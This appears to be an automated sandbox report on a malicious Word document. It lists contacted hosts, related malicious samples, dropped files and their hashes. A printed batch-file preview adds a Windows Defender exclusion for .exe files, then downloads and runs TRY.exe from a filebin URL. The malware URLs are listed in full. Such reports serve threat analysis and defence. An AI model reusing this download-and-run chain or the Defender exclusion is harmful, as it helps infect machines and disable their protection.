https://filebin.net/rf43v6qzghbj7h7b/TRY.exe	expand.exe, 00000007.00000003.919683562.00000000003CF000.00000004.00000800.00020000.00000000.sdmp, TRY.exe, 00000009.00000003.927628947.0000000001E20000.00000004.00000020.00020000.00000000.sdmp, TRY.exe, 00000009.00000003.927698970.0000000002020000.00000004.00000020.00020000.00000000.sdmp, TRY.exe, 00000009.00000000.925076387.000000013FB6E000.00000002.00000001.01000000.00000005.sdmp, TRY.exe, 00000009.00000002.945747952.0000000000286000.00000004.00000020.00020000.00000000.sdmp, 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr, thai.bat.9.dr, MSI5B5A.tmp.2.dr, files.cab.4.dr	true	Avira URL Cloud: malware	unknown
https://filebin.net/rf43v6qzghbj7h7b/TRY.msi0C:	535fae.ipi.2.dr	true	Avira URL Cloud: malware	unknown
https://filebin.net/rf43v6qzghbj7h7b/	~DFECA159C20646BB57.TMP.2.dr	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
87.238.33.8	situla.bitbit.net	Norway		39029	REDPILL-LINPRORedpillLinproNO	false
185.47.40.36	filebin.net	Norway		39029	REDPILL-LINPRORedpillLinproNO	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	611840
Start date and time: 20/04/202209:18:03	2022-04-20 09:18:03 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	12543_0008858249_FWDOUTSTANDING_20200604.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.expl.winDOC@19/23@5/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 58.5%) Quality average: 35.5% Quality standard deviation: 35.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 24 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .doc Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:19:15	API Interceptor	1365x Sleep call for process: msiexec.exe modified
09:19:24	API Interceptor	1x Sleep call for process: icacls.exe modified
09:19:31	API Interceptor	31x Sleep call for process: powershell.exe modified
09:19:36	API Interceptor	17x Sleep call for process: cmd.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
87.238.33.8	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	SWIFT pagesa .doc	Get hash	malicious	Browse
	SWIFT pagesa .doc	Get hash	malicious	Browse
	SWIFT pagesa .doc	Get hash	malicious	Browse
	Shahini Ferramenta.doc	Get hash	malicious	Browse
	DHL NOTIFICATION.doc	Get hash	malicious	Browse
	DHL NOTIFICATION.doc	Get hash	malicious	Browse
	oZPv3ngzrx.exe	Get hash	malicious	Browse
185.47.40.36	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	SWIFT pagesa .doc	Get hash	malicious	Browse
	SWIFT pagesa .doc	Get hash	malicious	Browse
	SWIFT pagesa .doc	Get hash	malicious	Browse
	Holdings.doc	Get hash	malicious	Browse
	Holdings.doc	Get hash	malicious	Browse
	Shahini Ferramenta.doc	Get hash	malicious	Browse
	Shahini Ferramenta.doc	Get hash	malicious	Browse
	DHL NOTIFICATION.doc	Get hash	malicious	Browse
	DHL NOTIFICATION.doc	Get hash	malicious	Browse
	oZPv3ngzrx.exe	Get hash	malicious	Browse
	876Vfmj5EI.exe	Get hash	malicious	Browse
	876Vfmj5EI.exe	Get hash	malicious	Browse
	https://filebin.net/nupvt5rvu70bzfbr/Merrittbudgetup8.17.17.htm?t=jg2rhjrs	Get hash	malicious	Browse
	https://filebin.net/0cgidc8y2xs3eihd/IOTAWORK.PDF.htm?t=yg85ijwn	Get hash	malicious	Browse
	PO 91277.doc	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
situla.bitbit.net	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	87.238.33.7
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	87.238.33.7
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	87.238.33.8
	SWIFT pagesa .doc	Get hash	malicious	Browse	87.238.33.8
	SWIFT pagesa .doc	Get hash	malicious	Browse	87.238.33.8
	SWIFT pagesa .doc	Get hash	malicious	Browse	87.238.33.8
	Holdings.doc	Get hash	malicious	Browse	87.238.33.7
	Holdings.doc	Get hash	malicious	Browse	87.238.33.7
	Shahini Ferramenta.doc	Get hash	malicious	Browse	87.238.33.8
	Shahini Ferramenta.doc	Get hash	malicious	Browse	87.238.33.7
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	87.238.33.8
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	87.238.33.8
	oZPv3ngzrx.exe	Get hash	malicious	Browse	87.238.33.7
filebin.net	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	185.47.40.36
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	185.47.40.36
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	Holdings.doc	Get hash	malicious	Browse	185.47.40.36
	Holdings.doc	Get hash	malicious	Browse	185.47.40.36
	Shahini Ferramenta.doc	Get hash	malicious	Browse	185.47.40.36
	Shahini Ferramenta.doc	Get hash	malicious	Browse	185.47.40.36
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	185.47.40.36
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	185.47.40.36
	oZPv3ngzrx.exe	Get hash	malicious	Browse	185.47.40.36
	876Vfmj5EI.exe	Get hash	malicious	Browse	185.47.40.36
	876Vfmj5EI.exe	Get hash	malicious	Browse	185.47.40.36
	Zm1Oz6lCLO.exe	Get hash	malicious	Browse	185.47.40.36
	RYDdv7X9e8.exe	Get hash	malicious	Browse	185.47.40.36
	gPm4nLttxA.exe	Get hash	malicious	Browse	185.47.40.36
	tVzelearRj.exe	Get hash	malicious	Browse	185.47.40.36
	4viHjPSIXn.exe	Get hash	malicious	Browse	185.47.40.36

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
REDPILL-LINPRORedpillLinproNO	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	87.238.33.7
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	87.238.33.7
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	Holdings.doc	Get hash	malicious	Browse	87.238.33.7
	Holdings.doc	Get hash	malicious	Browse	87.238.33.7
	Shahini Ferramenta.doc	Get hash	malicious	Browse	185.47.40.36
	Shahini Ferramenta.doc	Get hash	malicious	Browse	87.238.33.7
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	185.47.40.36
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	185.47.40.36
	oZPv3ngzrx.exe	Get hash	malicious	Browse	87.238.33.7
	876Vfmj5EI.exe	Get hash	malicious	Browse	185.47.40.36
	876Vfmj5EI.exe	Get hash	malicious	Browse	185.47.40.36
	https://filebin.net/nupvt5rvu70bzfbr/Merrittbudgetup8.17.17.htm?t=jg2rhjrs	Get hash	malicious	Browse	185.47.40.36
	https://filebin.net/0cgidc8y2xs3eihd/IOTAWORK.PDF.htm?t=yg85ijwn	Get hash	malicious	Browse	185.47.40.36
REDPILL-LINPRORedpillLinproNO	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	87.238.33.7
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	87.238.33.7
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36
	Holdings.doc	Get hash	malicious	Browse	87.238.33.7
	Holdings.doc	Get hash	malicious	Browse	87.238.33.7
	Shahini Ferramenta.doc	Get hash	malicious	Browse	185.47.40.36
	Shahini Ferramenta.doc	Get hash	malicious	Browse	87.238.33.7
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	185.47.40.36
	DHL NOTIFICATION.doc	Get hash	malicious	Browse	185.47.40.36
	oZPv3ngzrx.exe	Get hash	malicious	Browse	87.238.33.7
	876Vfmj5EI.exe	Get hash	malicious	Browse	185.47.40.36
	876Vfmj5EI.exe	Get hash	malicious	Browse	185.47.40.36
	https://filebin.net/nupvt5rvu70bzfbr/Merrittbudgetup8.17.17.htm?t=jg2rhjrs	Get hash	malicious	Browse	185.47.40.36
	https://filebin.net/0cgidc8y2xs3eihd/IOTAWORK.PDF.htm?t=yg85ijwn	Get hash	malicious	Browse	185.47.40.36

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	3.ppam	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	UT.dot	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	WNBHXO.doc	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	NALC-salaries.xls	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	Form.doc	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	42#U0440.xls	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	14.ppam	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	ba#U011f#U0131#U015f sertifikas#U0131.xlsx	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	14.ppam	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	PO16101545739.docx	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	Final Purchase Order_0422.ppam	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	SP_04132022.docx	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	Final Purchase Order_0422.ppam	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	PO-8MMM-TSO.docx	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	#U043e#U0444#U0435#U0440#U0442#U043022.xlsx	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	00000051.doc	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	Commande HILTI MAROC.xlsx	Get hash	malicious	Browse	185.47.40.36 87.238.33.8
	SWIFT pagesa .doc	Get hash	malicious	Browse	185.47.40.36 87.238.33.8

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe (copy)	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\$dpx$.tmp\79bd875a22ddb24abfa2594fbd40eccf.tmp	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse
	2543_0008858249_FWDOUTSTANDING_20210420.doc	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	4.161759538213247
Encrypted:	false
SSDEEP:	96:6/4AVtYE5uI3U33ZsYEFL2l4oK3B24CxkZFivEwj98l1vu+X0jUrw62tbaAGi7A:6/4AVtF368vB27xkZF5P50jcw60aWA
MD5:	D295AD2809D07DCE046748F3AF1C5035
SHA1:	9E774C670AB933D4E984EFCE44B815781FDDCB5A
SHA-256:	BC4DCE07AAA38FFD6445499BFF0DA6C48F5400C2A7FAA04B3F5BE2D273DE319E
SHA-512:	9E7F25992E9B672FF95802703EDB822737BFCAF61425910B3DE80304AAD18D562FD270928EC68EA370E5604AF037A2BF0897D8AFFC87ABAAA6D3D94F202BEAC0
Malicious:	false
Yara Hits:	Rule: SUSP_Doc_WindowsInstaller_Call_Feb22_1, Description: Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{1B1DF0C8-9DAA-4EF5-BAF3-5F56FA2C5B3B}.tmp, Author: Nils Kuhnert
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{02CF5D71-875F-4179-8CDC-9768D4E5C0E6}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\thai.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	192
Entropy (8bit):	5.038473612824116
Encrypted:	false
SSDEEP:	3:mKDDGKSSJJFIGtxVfHeGAFddGeWLERy44ASVOGSJJFIGtATH3x85MHVWfILGYgPe:hSG8G3V/eGgdEWRy44ASQ98GSLh8uWfi
MD5:	0187F7CF14FF509BAFFEEDC6909AEF04
SHA1:	01689D0CD0070F66D2FA1465E79C43641A52574D
SHA-256:	C63EB9290E361D2474C8C8EA29869CA413005CC033146B54E30C3363C5B81170
SHA-512:	63C8B8F1214172258D137FBD166912A17053A032CCFBE188E71369A10D4D8F5F8CF97A109BC7E0C8DE19EADF7A29855A224C2092887191F8F38974012BB66F2F
Malicious:	false
Preview:	@echo off..powershell -command "Set-MpPreference -ExclusionExtension ".exe"..powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe"..start TRY.exe

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files.cab

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Microsoft Cabinet archive data, 155244 bytes, 1 file
Category:	dropped
Size (bytes):	155244
Entropy (8bit):	6.820072420859643
Encrypted:	false
SSDEEP:	3072:avGygixtiq1P5GWp/icKAArDZz4/9GhbkrNEO1Yq:eUEpKy/90QEc
MD5:	2A683F9BE589B6F5581EA6298C95AFBC
SHA1:	B78112E20E2E465B58D803BF93ED458FE8492161
SHA-256:	8A64B66F67D4C199154659B5BB448173B46C1ADB1B2F9AE24CEFF17C858B96D5
SHA-512:	731B78A6DAABD45E375681F6CE60FD42A429C655EE93784B4599DDE78936DB307370A96D64F6B289DBDBA033F18B192F6DD47720E4976F6ABF5B49B3490348D9
Malicious:	false
Preview:	MSCF....l^......,...............}?..D........^.........T.. .TRY.exe..`.(....MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b1F.._..._..._..kZ..._..k\..._..k[..._..k^..._...^.d._..kW..._..k...._..k]..._.Rich.._.................PE..d.....&.........."......t...........y.........@.....................................H....`.......... ......................................,................................... .......T............................................... ............................text...0s.......t.................. ..`.rdata...".......$...x..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc.. ............\..............@..B............................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\$dpx$.tmp\79bd875a22ddb24abfa2594fbd40eccf.tmp

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	155136
Entropy (8bit):	6.821026780783546
Encrypted:	false
SSDEEP:	3072:fvGygixsiq1P5GWp1icKAArDZz4N9GhbkrNEk1Yq:BvEp0yN90QEm
MD5:	96DF7B0C491646EFC2E5F2E9F0443B8B
SHA1:	560F0295ABE71FEFFF38912C1121B27E40237FE5
SHA-256:	4B61C222D3F7CCF59F510B0780B3907FA71A7AA5EA68B9B966C69157444E78F7
SHA-512:	E9CD488EAB24A8D7860F363BF1F84B8205A68017B54F049489EF4FBD77EC51A1BFCF62219A8BC027BD7D103ED347DE3A4AFB138A2BFA609E081B7153D3C84DD6
Malicious:	false
Joe Sandbox View:	Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b1F.._..._..._..kZ..._..k\..._..k[..._..k^..._...^.d._..kW..._..k...._..k]..._.Rich.._.................PE..d.....&.........."......t...........y.........@.....................................H....`.......... ......................................,................................... .......T............................................... ............................text...0s.......t.................. ..`.rdata...".......$...x..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc.. ............\..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe (copy)

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	155136
Entropy (8bit):	6.821026780783546
Encrypted:	false
SSDEEP:	3072:fvGygixsiq1P5GWp1icKAArDZz4N9GhbkrNEk1Yq:BvEp0yN90QEm
MD5:	96DF7B0C491646EFC2E5F2E9F0443B8B
SHA1:	560F0295ABE71FEFFF38912C1121B27E40237FE5
SHA-256:	4B61C222D3F7CCF59F510B0780B3907FA71A7AA5EA68B9B966C69157444E78F7
SHA-512:	E9CD488EAB24A8D7860F363BF1F84B8205A68017B54F049489EF4FBD77EC51A1BFCF62219A8BC027BD7D103ED347DE3A4AFB138A2BFA609E081B7153D3C84DD6
Malicious:	false
Joe Sandbox View:	Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse Filename: 2543_0008858249_FWDOUTSTANDING_20210420.doc, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b1F.._..._..._..kZ..._..k\..._..k[..._..k^..._...^.d._..kW..._..k...._..k]..._.Rich.._.................PE..d.....&.........."......t...........y.........@.....................................H....`.......... ......................................,................................... .......T............................................... ............................text...0s.......t.................. ..`.rdata...".......$...x..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc.. ............\..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\msiwrapper.ini

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1412
Entropy (8bit):	3.6357831688439908
Encrypted:	false
SSDEEP:	24:f3dX8DW8dfja/0vZ4MBlolESIFEqHmnqHmLyDqHmVo+TGTlh+Bl/rB:fe7Z4MB6lmFxGqGL7GjklS/V
MD5:	CE0A48B68AFABF1CB63A84452E99662A
SHA1:	D79EB8F957A252FB363FF36F67B39E1FA1524468
SHA-256:	4C86CD17EDA9F4A42B361023E7AE6E1CCCEE9AEB547F375A3D2936217A5ED713
SHA-512:	AB8D97D03F2EF4BE45CD7CEABE8ACE93FF9266BFCA6CB4D939A06F9E8A57343C5CE559BDB004A4D81ABAC3AB7ADE9B6D9761014B0F60A27871FB60E0E8CC6B16
Malicious:	false
Preview:	W.r.a.p.p.e.d.A.p.p.l.i.c.a.t.i.o.n.I.d.=...W.r.a.p.p.e.d.R.e.g.i.s.t.r.a.t.i.o.n.=.H.i.d.d.e.n...I.n.s.t.a.l.l.S.u.c.c.e.s.s.C.o.d.e.s.=.0...E.l.e.v.a.t.i.o.n.M.o.d.e.=.a.d.m.i.n.i.s.t.r.a.t.o.r.s...B.a.s.e.N.a.m.e.=.T.R.Y...e.x.e...C.a.b.H.a.s.h.=.8.a.6.4.b.6.6.f.6.7.d.4.c.1.9.9.1.5.4.6.5.9.b.5.b.b.4.4.8.1.7.3.b.4.6.c.1.a.d.b.1.b.2.f.9.a.e.2.4.c.e.f.f.1.7.c.8.5.8.b.9.6.d.5...S.e.t.u.p.P.a.r.a.m.e.t.e.r.s.=...W.o.r.k.i.n.g.D.i.r.=...C.u.r.r.e.n.t.D.i.r.=..S.O.U.R.C.E.D.I.R....U.I.L.e.v.e.l.=.2...F.o.c.u.s.=.n.o...S.e.s.s.i.o.n.D.i.r.=.C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.M.W.-.5.8.b.8.4.a.1.d.-.9.a.6.6.-.4.a.e.e.-.8.a.4.3.-.f.e.b.2.0.6.e.0.8.9.b.1.\...F.i.l.e.s.D.i.r.=.C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.M.W.-.5.8.b.8.4.a.1.d.-.9.a.6.6.-.4.a.e.e.-.8.a.4.3.-.f.e.b.2.0.6.e.0.8.9.b.1.\.f.i.l.e.s.\...R.u.n.B.e.f.o.r.e.I.n.s.t.a.l.l.F.i.l.e.=...R.u.n.B.e.f.o.r.e.I.n.s.t.a.l.l.P.a.r.a.m.e.t.e.r.s.=...R.u.n.A.f.t.e.r.I.n.s.t.a.

C:\Users\user\AppData\Local\Temp\~DF471414B699306DAC.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF79ACBA3F38B53A85.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	26624
Entropy (8bit):	4.023285459983812
Encrypted:	false
SSDEEP:	384:G9FbvNwIWWwxN6rX0jb4e/9wCwQDtASlRGfafyZ:80WwGLc4elwx6Gfaf
MD5:	AEE6E4E3E1679CAB2BC9711D046AE750
SHA1:	EE2D2003C4E7208C030246BE3556934955D33100
SHA-256:	C1A2B5412658B2EDD4F423C35439CF69DFFCAD442AA2D786672A925ACAE064E7
SHA-512:	0C7723B855F42C78018352BB2533A2B4CD484352A4DECCD7AC5C2D19F067F6448F6E14DFCE182AC8129C091531E4E04B33B3DEF63562967F3D068A04F2D9C86C
Malicious:	true
Yara Hits:	Rule: SUSP_Doc_WindowsInstaller_Call_Feb22_1, Description: Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts., Source: C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP, Author: Nils Kuhnert Rule: SUSP_VBA_FileSystem_Access, Description: Detects suspicious VBA that writes to disk and is activated on document open, Source: C:\Users\user\AppData\Local\Temp\~DFC2FF7A9553E7F48E.TMP, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................0.............................................................................../...............#................... ...!...".......$...%...&...'...(...)...*...+...,...-.......1...........2...................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFECA159C20646BB57.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.14963723887749986
Encrypted:	false
SSDEEP:	48:6o6vwrfddSsPiK3ddSH9ZauSiCPiKe6NPiK:Wvq3/OAWiFt
MD5:	AC6A84118D10D91CB02AE02773436BFF
SHA1:	A630E822DD052856EDF8D5068E39C683F5BD5644
SHA-256:	EF15F83FD5723D8FB1470F93EAE79E858F4DDE5081A2EDE2B9271D915325C478
SHA-512:	84AC382BF232FF446F404024FF1CE14AEA8BFD33F7B4CFECC119FDEBD627F5C8ECBD7091047E4D2093730BCF9A63F282E847BF4729610C8D2BD3E43E2C0D521E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\12543_0008858249_FWDOUTSTANDING_20200604.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:53 2022, mtime=Tue Mar 8 15:45:53 2022, atime=Wed Apr 20 15:19:12 2022, length=62976, window=hide
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	4.5147077000165785
Encrypted:	false
SSDEEP:	24:88/XThOMPG/xfm+oeK8vvBlD+5Dv3qaqtT7qtk:88/XT4xxfRoH8iQaqlqG
MD5:	7ADD8F1D611B2857204C2BC42CC44A28
SHA1:	AC6C1E2E73C4AD815192F3229B2EB587FB9F1CAA
SHA-256:	E9A69AB15E044FE4045CF020AF86328465BDA02B387F8E6CC404D115E27A69A8
SHA-512:	626CE7ADFDD6F4B40A404599EC44B79EB95E42D0B6C7B0B21F0F4C6A4F2FC47AB74AE33E9732C0D9AE3A1EFE3E4521C0393E786604362425C20FEDF31F2A97A8
Malicious:	false
